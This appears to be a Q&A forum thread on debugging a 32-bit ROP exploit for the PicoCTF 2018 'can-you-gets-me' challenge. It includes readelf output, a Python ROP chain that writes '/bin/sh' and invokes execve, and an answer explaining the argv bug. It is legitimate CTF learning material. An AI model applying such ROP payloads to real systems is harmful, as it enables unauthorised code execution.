4

I've come across some behaviour in a CTF challenge that seems very strange and I was wondering if someone could help me understand it.

The CTF challenge was the can-you-gets-me challenge in PicoCTF2018.

It was a ROP challenge (32-bit), and in my initial attempt, I wrote '/bin/sh\x00' to a spot in the middle of the .data section (0x080ea6a0), but when I ran the exploit, I got:

/bin/sh: 1: /bin/sh: Syntax error: word unexpected (expecting ")")

After looking online at some solutions, I found they were using different addresses to me. I tried one of them and found that the exploit worked with an address (0x80e9d60) which doesn't appear to be in any section.

The readelf output for the sections was:

$ readelf gets -S
There are 31 section headers, starting at offset 0xb0cc8:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .note.ABI-tag     NOTE            080480f4 0000f4 000020 00   A  0   0  4
  [ 2] .note.gnu.build-i NOTE            08048114 000114 000024 00   A  0   0  4
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
  [ 3] .rel.plt          REL             08048138 000138 000070 08  AI  0  23  4
  [ 4] .init             PROGBITS        080481a8 0001a8 000023 00  AX  0   0  4
  [ 5] .plt              PROGBITS        080481d0 0001d0 0000e0 00  AX  0   0 16
  [ 6] .text             PROGBITS        080482b0 0002b0 07253c 00  AX  0   0 16
  [ 7] __libc_freeres_fn PROGBITS        080ba7f0 0727f0 000a6d 00  AX  0   0 16
  [ 8] __libc_thread_fre PROGBITS        080bb260 073260 00009e 00  AX  0   0 16
  [ 9] .fini             PROGBITS        080bb300 073300 000014 00  AX  0   0  4
  [10] .rodata           PROGBITS        080bb320 073320 01a8ac 00   A  0   0 32
  [11] __libc_subfreeres PROGBITS        080d5bcc 08dbcc 000028 00   A  0   0  4
  [12] __libc_atexit     PROGBITS        080d5bf4 08dbf4 000004 00   A  0   0  4
  [13] __libc_thread_sub PROGBITS        080d5bf8 08dbf8 000004 00   A  0   0  4
  [14] .eh_frame         PROGBITS        080d5bfc 08dbfc 012b10 00   A  0   0  4
  [15] .gcc_except_table PROGBITS        080e870c 0a070c 0000d0 00   A  0   0  1
  [16] .tdata            PROGBITS        080e9f5c 0a0f5c 000010 00 WAT  0   0  4
  [17] .tbss             NOBITS          080e9f6c 0a0f6c 000018 00 WAT  0   0  4
  [18] .init_array       INIT_ARRAY      080e9f6c 0a0f6c 000008 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      080e9f74 0a0f74 000008 00  WA  0   0  4
  [20] .jcr              PROGBITS        080e9f7c 0a0f7c 000004 00  WA  0   0  4
  [21] .data.rel.ro      PROGBITS        080e9f80 0a0f80 000070 00  WA  0   0 32
  [22] .got              PROGBITS        080e9ff0 0a0ff0 000008 04  WA  0   0  4
  [23] .got.plt          PROGBITS        080ea000 0a1000 000044 04  WA  0   0  4
  [24] .data             PROGBITS        080ea060 0a1060 000f20 00  WA  0   0 32
  [25] .bss              NOBITS          080eaf80 0a1f80 000e0c 00  WA  0   0 32
  [26] __libc_freeres_pt NOBITS          080ebd8c 0a1f80 000018 00  WA  0   0  4
  [27] .comment          PROGBITS        00000000 0a1f80 000035 01  MS  0   0  1
  [28] .shstrtab         STRTAB          00000000 0b0b7c 00014c 00      0   0  1
  [29] .symtab           SYMTAB          00000000 0a1fb8 007ec0 10     30 847  4
  [30] .strtab           STRTAB          00000000 0a9e78 006d04 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

And here are some examples of addresses that worked:

  • 0x080e9d60 (mentioned above)
  • 0x080e9ff0 (.got)
  • 0x080ebd8c (libc_freeres_ptrs)
  • 0x080e9f3c
  • 0x080e9f4c
  • 0x080e9f4c
  • 0x080ea040
  • 0x080eaf60
  • 0x080ebd6c

My question is: What is so special above these addresses that allow the exploit to work, while the others do not? i.e. What criteria should one look at in order to choose an address for writing data in an exploit?

The ROP Stack Here is part of the python script that I am using to generate the payload, for reference:

# Changing this variable is what makes the chain work or fail.
data = 0x80e9d60

# Useful addresses
pop_eax = 0x080b81c6 # pop eax; ret;
pop_ebx = 0x080481c9 # pop ebx; ret;
pop_ecx = 0x080de955 # pop ecx; ret;
pop_edx = 0x0806f02a # pop edx; ret;
swap_eax_edx = 0x0809cff5 # xchg eax, edx; ret;
zero_eax = 0x08049303 # xor eax, eax; ret;
syscall = 0x0806f630 # int 0x80; ret;
write = 0x080999ad # mov dword [edx], eax; ret

# /bin/sh string
str1 = '/bin'
str2 = '/sh\x00'

# The buffer to overwrite with junk
payload = 'A'*28

# Write 1 (/bin)
payload += p32(pop_eax)
payload += str1
payload += p32(pop_edx)
payload += p32(data)
payload += p32(write)

# Write 2 (/sh)
payload += p32(pop_eax)
payload += str2
payload += p32(pop_edx)
payload += p32(data + 4)
payload += p32(write)

# Write pointer to /bin/sh
payload += p32(pop_eax)
payload += p32(data)
payload += p32(pop_edx)
payload += p32(data + 8)
payload += p32(write)

# Set edx to 0
payload += p32(zero_eax)
payload += p32(swap_eax_edx)

# Make the syscall with the correct values in registers
payload += p32(pop_ebx)
payload += p32(data)
payload += p32(pop_ecx)
payload += p32(data + 8)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(syscall)

Edit: After some more research, one possible explanation I've come up with is that the new /bin/sh process overwrites portions of memory. See https://stackoverflow.com/a/5429592/6567876. Is that the reason?

Zack
  • 143
  • 6
  • At least provide your ROP stack that doesn't work if you want us to help analyze. – rhodeo Dec 17 '18 at 07:21
  • I tried this https://github.com/0n3m4ns4rmy/ctf-write-ups/blob/master/Pico%20CTF%202018/can-you-gets-me/exploit.py with an address 'in the middle of the .data section' and it worked. So you are probably doing something wrong while ropping. – rhodeo Dec 17 '18 at 07:25
  • Thanks, just added the ROP chain: that solution online is actually the one I was referring to that worked, except according to my `readelf` output in the question, that address is not actually anywhere in `.bss`. – Zack Dec 17 '18 at 07:30
  • What is the address that you used that did not work? – rhodeo Dec 17 '18 at 07:32
  • Well there were obviously many that didn't work, but the first one that didn't was a random spot I picked in the middle of the `.data` section: `0x080ea6a0`. – Zack Dec 17 '18 at 07:35

1 Answers1

2

You should be able to write to any writable page (unless the address contains some bad byte that the input vector will use as a delimiter or filter out). 0x80e9d60 is one such writable region. There is nothing inherently wrong with the address 0x080ea6a0 (which lies in main_arena) that you are using either.

When you are executing int 0x80, the relevant registers are:

eax: 0xb (syscall: sys_execve)
ebx: 0x80ea6a0 (filename: "/bin/sh")
ecx: 0x80ea6a8 (argv: [0x080ea6a0, 0x080ea6a0, ...])
edx: 0x0000000 (envp: null)

Do you see the problem with argv? In the original rop stack in the writeup, they are zeroing out ecx. But your ecx is just address+8, which may or may not contain null bytes depending on the address. So you are essentially calling /bin/sh *garbage* *garbage* .., whereas it should have been just /bin/sh. So the code is actually being executed, but /bin/sh becomes confused with the garbage arguments being passed along.

You need to make argv null or some other sane value (if you actually intend to pass along any args). So either modify your ROP stack to null out ecx (argv), or choose an address where you have null at address + 8.

Make it a habit to run your exploit in a debugger to see what is actually happening.

rhodeo
  • 524
  • 1
  • 6
  • 14
  • Wow, thanks, that completely makes sense now. I was using a debugger, but thought that I had to pass a pointer to the program name in `ecx`. (I understand now that is only a convention and not necessary). I see now that what I was doing wrong was not zeroing out the space after the pointer to make sure that there would be a null byte there, is that correct? Anyway, thanks so much for the brilliant answer! – Zack Dec 17 '18 at 08:37
  • Yes, that is correct (not just one null byte however, a null pointer (a dword)). Or you could also just pick an address for argv that is known to contain a null pointer. – rhodeo Dec 17 '18 at 09:23
  • Right, thanks - I guess if it was just a byte it wouldn’t be able to distinguish between the end and (say) a small integer. – Zack Dec 17 '18 at 09:25